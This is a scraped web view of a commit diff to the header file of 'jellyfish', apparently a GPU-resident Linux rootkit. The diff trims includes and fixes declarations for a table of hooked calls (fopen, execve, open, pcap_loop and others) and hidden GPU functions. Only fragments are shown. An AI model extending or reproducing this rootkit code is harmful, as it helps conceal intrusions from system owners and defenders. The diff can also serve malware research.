Projects STRLCPY jellyfish Commits 124ee545
🤬
  • ■ ■ ■ ■ ■
    rootkit/kit.h
    skipped 13 lines
    14 14  
    15 15  */
    16 16   
    17  -#define _GNU_SOURCE
    18  - 
    19 17  #ifndef __KIT_H__
    20 18  #define __KIT_H__
    21 19   
    22  -#include <stdio.h>
    23  -#include <dlfcn.h>
    24  -#include <dirent.h>
    25  -#include <string.h>
    26  -#include <stdlib.h>
    27  -#include <sys/types.h>
    28  -#include <sys/stat.h>
    29  -#include <sys/socket.h>
    30  -#include <limits.h>
    31  -#include <errno.h>
    32  -#include <unistd.h>
    33  -#include <arpa/inet.h>
    34  -#include <netinet/tcp.h>
    35  -#include <netinet/in.h>
    36  -#include <netdb.h>
    37  -#include <sys/ioctl.h>
    38  -#include <termios.h>
    39  -#include <pty.h>
    40  -#include <signal.h>
    41  -#include <utmp.h>
    42  -#include <dirent.h>
    43  - 
    44  -// will add multi-os compatibility soon
    45  -#if defined (__APPLE__) || defined(MACOSX) || defined(OSX)
    46  - #include <OpenCL/opencl.h>
    47  -#else
    48  - #include <CL/opencl.h>
    49  -#endif
    50  - 
    51 20  #define __JELLYFISH__ "kit.cl"
    52 21  #define __JELLYXOR__ "xor.cl"
    53 22  #define VRAM_LIMIT 1497965 /* 10mb divided by 7 gpu kernels */
    skipped 25 lines
    79 48  #define SYSCALL_SIZE 8
    80 49   
    81 50  typedef struct sys_calls{
     51 + char name[50];
    82 52   void *(*syscall_func)();
    83  -}; s_calls;
     53 +} s_calls;
    84 54   
    85 55  s_calls syscall[SYSCALL_SIZE];
    86 56   
    87  -const char syscall_table[SYSCALL_SIZE];
     57 +const char *syscall_table[SYSCALL_SIZE];
    88 58  syscall_table[0] = "fopen";
    89 59  syscall_table[1] = "mkdir";
    90 60  syscall_table[2] = "lstat";
    skipped 2 lines
    93 63  syscall_table[5] = "execve";
    94 64  syscall_table[6] = "open";
    95 65  syscall_table[7] = "pcap_loop";
    96  -syscall_table[8] = "SYSCALL_SIZE";
    97 66   
    98 67  // hidden gpu functions
    99 68  cl_device_id create_device(void) __attribute__((visibility("hidden")));
    skipped 11 lines
Please wait...
Page is in error, reload to recover